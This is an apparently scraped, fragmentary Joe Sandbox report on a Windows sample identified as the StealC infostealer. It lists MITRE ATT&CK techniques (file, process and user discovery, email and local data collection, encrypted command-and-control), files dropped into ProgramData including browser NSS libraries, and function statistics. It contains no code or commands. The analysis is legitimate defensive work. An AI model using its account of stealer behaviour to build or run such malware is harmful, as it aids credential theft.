Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAAFCAFCBKFHJJJKKFHIDAAKFB

C:\ProgramData\BFIIIDAFBFBKECBGDBGIIIJJDA

C:\ProgramData\CFCBKKKJJJKKEBGDAFID

C:\ProgramData\CFIJEBFC

C:\ProgramData\FHDHCAAKECFIDHIEBAKF

C:\ProgramData\HJJJJKEH

C:\ProgramData\IEBAAFCAFCBKFHJJJKKFHIDAAK

C:\ProgramData\JJJKEHCAKFBFHJKEHCFIIDAEGD

C:\ProgramData\JKEBFBFIEHIDAAAAFHCF

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

C:\ProgramData\softokn3.dll

Windows Analysis Report
file.exe

Function 00B29270 Relevance: 63.2, APIs: 33, Strings: 3, Instructions: 212
libraryloaderCOMMON

Function 00B14610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00B1BCB0 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Function 00B243F0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Function 00B295E0 Relevance: 233.4, APIs: 112, Strings: 21, Instructions: 684
libraryloaderCOMMON

Function 00B17750 Relevance: 100.3, APIs: 54, Strings: 3, Instructions: 584
stringmemoryCOMMON

Function 00B20090 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Function 00B15150 Relevance: 51.3, APIs: 19, Strings: 10, Instructions: 572
stringnetworkmemoryCOMMON

Function 00B159B0 Relevance: 40.7, APIs: 17, Strings: 6, Instructions: 495
networkstringmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre